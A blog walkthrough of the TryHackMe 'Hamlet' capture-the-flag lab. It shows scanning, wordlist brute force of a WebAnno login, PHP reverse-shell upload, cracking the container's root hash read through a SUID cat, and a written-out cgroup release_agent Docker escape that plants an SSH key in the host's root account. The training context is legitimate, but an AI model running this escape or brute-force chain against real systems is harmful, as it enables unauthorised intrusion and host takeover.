Docker Escape first trial -- Tryhackme Hamlet walkthrough

First Post:
Last Update:
Word Count: 2.6k
Read Time: 16min

[TOC]

This is the ROOM for Hamlet THM

Subscribe Room

Collecting infomation

Ports/Scan and common infomation gathering

do as rustscan with – -A to scan more deep

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
PORT     STATE SERVICE     REASON         VERSION
21/tcp open ftp syn-ack ttl 63 vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rwxr-xr-x 1 0 0 113 Sep 15 14:45 password-policy.md
|_-rw-r--r-- 1 0 0 1425 Sep 15 14:48 ufw.status
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.9.165.41
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a0:ef:4c:32:28:a6:4c:7f:60:d6:a6:63:32:ac:ab:27 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5/i3O28uWolhittypXr6mAEk+XOV998o/e/3wIWpGq9J1GhtGc3J4uwYpBt7SiS3mZivq9D5jgFhqhHb6zlBsQmGUnXUnQNYyqrBmGnyl4urp5IuV1sRCdNXQdt/lf6Z9A807OPuCkzkAexFUV28eXqdXpRsXXkqgkl5DCm2WEtV7yxPIbGlcmX+arDT9A5kGTZe9rNDdqzSafz0aVKRWoTHGHuqVmq0oPD3Cc3oYfoLu7GTJV+Cy6Hxs3s6oUVcruoi1JYvbxC9whexOr+NSZT9mGxDSDLS6jEMim2DQ+hNhiT49JXcMXhQ2nOYqBXLZF0OYyNKaGdgG35CIT40z
| 256 5a:6d:1a:39:97:00:be:c7:10:6e:36:5c:7f:ca:dc:b2 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHtt/3Q8agNKO48Zw3srosCs+bfCx47O+i4tBUX7VGMSpzTJQS3s4DBhGvrvO+d/u9B4e9ZBgWSqo+aDqGsTZxQ=
| 256 0b:77:40:b2:cc:30:8d:8e:45:51:fa:12:7c:e2:95:c7 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN4jv01JeDGsDfhWIJMF8HBv26FI18VLpBeNoiSGbKVp
80/tcp open http syn-ack ttl 63 lighttpd 1.4.45
|_http-title: Hamlet Annotation Project
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: lighttpd/1.4.45
501/tcp open nagios-nsca syn-ack ttl 63 Nagios NSCA
8000/tcp open http syn-ack ttl 62 Apache httpd 2.4.48 ((Debian))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: Site doesn't have a title (text/html).
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.48 (Debian)
8080/tcp open http-proxy syn-ack ttl 62
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 500
| Content-Type: application/json;charset=UTF-8
| Date: Sun, 16 Jan 2022 14:58:38 GMT
| Connection: close
| {"timestamp":1642345118098,"status":500,"error":"Internal Server Error","exception":"org.springframework.security.web.firewall.RequestRejectedException","message":"The request was rejected because the URL contained a potentially malicious String "%2e"","path":"/nice%20ports%2C/Tri%6Eity.txt%2ebak"}
| GetRequest:
| HTTP/1.1 302
| Set-Cookie: JSESSIONID=C017D7D255ED9A68595CB26AA7526BC7; Path=/; HttpOnly
| X-Content-Type-Options: nosniff
| X-XSS-Protection: 1; mode=block
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate
| Pragma: no-cache
| Expires: 0
| X-Frame-Options: SAMEORIGIN
| Location: http://localhost:8080/login.html
| Content-Length: 0
| Date: Sun, 16 Jan 2022 14:58:32 GMT
| Connection: close
| HTTPOptions:
| HTTP/1.1 302
| Set-Cookie: JSESSIONID=25F87E269C0D041929D729DF05B30A33; Path=/; HttpOnly
| X-Content-Type-Options: nosniff
| X-XSS-Protection: 1; mode=block
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate
| Pragma: no-cache
| Expires: 0
| X-Frame-Options: SAMEORIGIN
| Location: http://localhost:8080/login.html
| Content-Length: 0
| Date: Sun, 16 Jan 2022 14:58:33 GMT
| Connection: close
| RTSPRequest:
| HTTP/1.1 400
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 435
| Date: Sun, 16 Jan 2022 14:58:35 GMT
| Connection: close
| <!doctype html><html lang="en"><head><title>HTTP Status 400
| Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400
|_ Request</h1></body></html>
| http-title: WebAnno - Log in
|_Requested resource was http://10.10.232.86:8080/login.html
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-open-proxy: Proxy might be redirecting requests
|_http-favicon: Spring Java Framework


You Need Know The service on port 8080 takes a long time to start

It should be like that, if you can’t detected the ports 8080, scan again.

Access

80

We can see

1
If you want to help out, send an email to Michael 'ghost' Canterbury (ghost@webanno.hamlet.thm). He's obsessed with Hamlet

maybe the username of Michael is ghost

501

a script run on it with question you need answer.

8000

a webserver works on and looks like a webpage hosts.

The index has an iframe tag with location
/repository/project/0/document/0/source/

The file is same as location {HOST}:80/hamlet.txt

8080 [*]

This is a web server as well with Spring framework.(You may like try the log4j?) and the Service Webanno is Working on there.

It has the login page at /login.html

21 [*]

It has FTP. allow the Anonymous login with fake password.

you will found the password-policy.md, we will use it later.

Misc

search a little bit with pages we can see.

1
2
3
4
5
ftp sunsite.unc.edu
login: anonymous
password: your@login
cd pub/docs/books/gutenberg
cd etext90 through etext99

Attempt

Password list create

As the Hint of the Question 1 :You will, most likely, create a wordlist and test against WebAnno.
We need to create the password list with some text in website.

So Cewl is what you need.

1
cewl http://{HOST}/hamlet.txt  > cewllist
  • cewl and save in file
  • Delete the cewl banner
  • Filter the eachline if shorter than 12 chars [password policy] save more than 12-chars’ lines
  • convert to lowercase [password policy]

you can got the file at 70+ lines

enum

try brute force the password with username ghost

the thread needs slower,the service seems down easily.

1
2
3
export targetHost="10.10.78.88"
export targetUser="ghost"
wfuzz -w ./passcode_lowercase -t 1 -d "urlfragment=&username=${targetUser}&password=FUZZ" "http://${targetHost}:8080/login.html?-1.-loginForm"

got the response

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://10.10.78.88:8080/login.html?-1.-loginForm
Total requests: 79

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000000001: 200 213 L 495 W 8417 Ch "abbreviations"
000000003: 200 213 L 495 W 8417 Ch "alternatively"
000000005: 200 213 L 495 W 8417 Ch "announcement"
000000002: 200 213 L 495 W 8417 Ch "abridgements"
000000004: 200 213 L 495 W 8417 Ch "ambassadours"
000000006: 200 213 L 495 W 8417 Ch "anticipation"
000000008: 200 213 L 495 W 8417 Ch "appurtenance"
000000010: 200 213 L 495 W 8417 Ch "circumstance"
000000007: 200 213 L 495 W 8417 Ch "apprehension"
000000009: 200 213 L 495 W 8417 Ch "capitalization"
000000011: 200 213 L 495 W 8417 Ch "circumstance"
000000013: 200 213 L 495 W 8417 Ch "commencement"
000000015: 200 213 L 495 W 8417 Ch "computerized"
000000012: 200 213 L 495 W 8417 Ch "circumstances"
000000014: 200 213 L 495 W 8417 Ch "compulsatiue"
000000016: 200 213 L 495 W 8417 Ch "congregation"
000000018: 200 213 L 495 W 8417 Ch "consequential"
000000020: 200 213 L 495 W 8417 Ch "considerable"
000000017: 200 213 L 495 W 8417 Ch "consequential"
000000019: 200 213 L 495 W 8417 Ch "conservative"
000000021: 200 213 L 495 W 8417 Ch "consummation"
000000023: 200 213 L 495 W 8417 Ch "contributions"
000000025: 200 213 L 495 W 8417 Ch "conueniently"
000000022: 200 213 L 495 W 8417 Ch "contribution"
000000024: 200 213 L 495 W 8417 Ch "controuersie"
000000026: 200 213 L 495 W 8417 Ch "conuersation"
000000028: 200 213 L 495 W 8417 Ch "disappointed"
000000030: 200 213 L 495 W 8417 Ch "distribution"
000000027: 200 213 L 495 W 8417 Ch "determination"
000000029: 200 213 L 495 W 8417 Ch "distribution"
000000031: 200 213 L 495 W 8417 Ch "electronically"
000000033: 200 213 L 495 W 8417 Ch "entertainment"
000000035: 200 213 L 495 W 8417 Ch "equiuocation"
000000032: 200 213 L 495 W 8417 Ch "encompassement"
000000034: 200 213 L 495 W 8417 Ch "entreatments"
000000036: 200 213 L 495 W 8417 Ch "forgiuenesse"
000000038: 200 213 L 495 W 8417 Ch "guildensterne"
000000040: 200 213 L 495 W 8417 Ch "imperfections"
000000037: 200 213 L 495 W 8417 Ch "guildenstern"
000000039: 200 213 L 495 W 8417 Ch "imaginations"
000000041: 200 213 L 495 W 8417 Ch "incontinencie"
000000043: 200 213 L 495 W 8417 Ch "indifferently"
000000045: 200 213 L 495 W 8417 Ch "indiscretion"
000000042: 200 213 L 495 W 8417 Ch "incorporated"
000000044: 200 213 L 495 W 8417 Ch "indirections"
000000046: 200 213 L 495 W 8417 Ch "inexplicable"
000000048: 200 213 L 495 W 8417 Ch "instrumentall"
000000050: 200 213 L 495 W 8417 Ch "invulnerable"
000000047: 200 213 L 495 W 8417 Ch "infringement"
000000049: 200 213 L 495 W 8417 Ch "intellectual"
000000051: 200 213 L 495 W 8417 Ch "malefactions"
000000053: 200 213 L 495 W 8417 Ch "modification"
000000055: 200 213 L 495 W 8417 Ch "prosperously"
000000052: 200 213 L 495 W 8417 Ch "merchantability"
000000054: 200 213 L 495 W 8417 Ch "preparations"
000000056: 200 213 L 495 W 8417 Ch "protestation"
000000058: 200 213 L 495 W 8417 Ch "quintessence"
000000060: 200 213 L 495 W 8417 Ch "reconcilement"
000000057: 200 213 L 495 W 8417 Ch "questionable"
000000059: 200 213 L 495 W 8417 Ch "recognizances"
000000061: 200 213 L 495 W 8417 Ch "remembrances"
000000063: 200 213 L 495 W 8417 Ch "remorselesse"
000000065: 200 213 L 495 W 8417 Ch "stubbornnesse"
000000062: 200 213 L 495 W 8417 Ch "remembraunce"
000000064: 200 213 L 495 W 8417 Ch "satisfaction"
000000066: 200 213 L 495 W 8417 Ch "substitutions"
000000068: 200 213 L 495 W 8417 Ch "transcription"
000000070: 200 213 L 495 W 8417 Ch "tyrannically"
000000067: 200 213 L 495 W 8417 Ch "tediousnesse"
000000069: 200 213 L 495 W 8417 Ch "transformation"
000000071: 200 213 L 495 W 8417 Ch "vnderstanding"
000000073: 200 213 L 495 W 8417 Ch "vndertakings"
000000075: 200 213 L 495 W 8417 Ch "vneffectuall"
000000072: 200 213 L 495 W 8417 Ch "vnderstanding"
000000074: 200 213 L 495 W 8417 Ch "vndiscouered"
000000076: 200 213 L 495 W 8417 Ch "vnpreuayling"
000000078: 200 213 L 495 W 8417 Ch "vnproportion"
000000077: 200 213 L 495 W 8417 Ch "vnprofitable"
000000079: 302 0 L 0 W 0 Ch "passMasked"

Total time: 0
Processed Requests: 79
Filtered Requests: 0
Requests/sec.: 0

Bad luck the last is the correct password.

creds found

1
2
username: ghost
password: passMasked

Gain Shell

The webserver has file upload with function import.

So import our shell and upload it next the hamlet.txt.

and get reverse shell like.

Access lile

http://10.10.78.88:8000//repository/project/0/document/1/source/YOUR_SHell.php

And you can get shell back.

In Docker

www-data

If you check the / folder,the .dockerenv is in.So The Env is in the docker.We need level up the privilege and escape it.

Easily check the files and I found suid executable CAT that means we can read password file in docker with root privilege.

cat the shadow file and found the root hash

root:$y$j9T$.9s2wZRY3hcP/udKIFher1$sIBIYsiMmFlXhKOO4ZDJDXo54byuq7a4xAD0k9jw2m4:18885:0:99999:7:::

it has a little bit confused because the hash should be begin with $6$ instead of $y$. And even I can’t found anything about it on the hashcat example hash list.

At that time, The developer of the Room helps me.

That’s a new hashing algorithm (new standard in Debian and Ubuntu) called Yescrypt

john is Supported by add option --format=crypt instead of auto detect.But hashcat not.The issue is still open at there.

root

take the shadow file and passwd file

unshadow shadow passwd > unshadow

and crack as

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ john unshadow --format=crypt 
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 94 candidates buffered for the current salt, minimum 96 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
0g 0:00:01:11 5.76% 2/3 (ETA: 21:49:18) 0g/s 120.4p/s 120.4c/s 120.4C/s danielles..liberties
rootPASShere (root)
1g 0:00:02:47 DONE 2/3 (2022-01-17 21:31) 0.005968g/s 119.4p/s 119.4c/s 119.4C/s acituan..ylfrepus
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

creds

1
2
username: root
password: rootPASShere

su and got the root,also the flag4.

out of docker

look at the /dev That has cpu,…..

So easily guess we has the privilege mode docker.

abuse the release agent and we will execute commands on “real” machine.

exp i use as following

1
2
3
4
5
6
7
8
9
10
11
12
13
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

export commands="${YOUR_COMMAND_THERE}"
# you can write ssh keys to the /root/.ssh/authorized_keys file and get root

echo '#!/bin/sh' > /cmd
echo "$commands > $host_path/output" >> /cmd

chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

my exps is just use the

1
2
3
export commands="cat >> /root/.ssh/authorized_keys <<EOF
ssh-rsa AAAA(MY_SSH_PUBLIC_KEY)
EOF && echo success"

refer: https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape

At last, You got the flag6.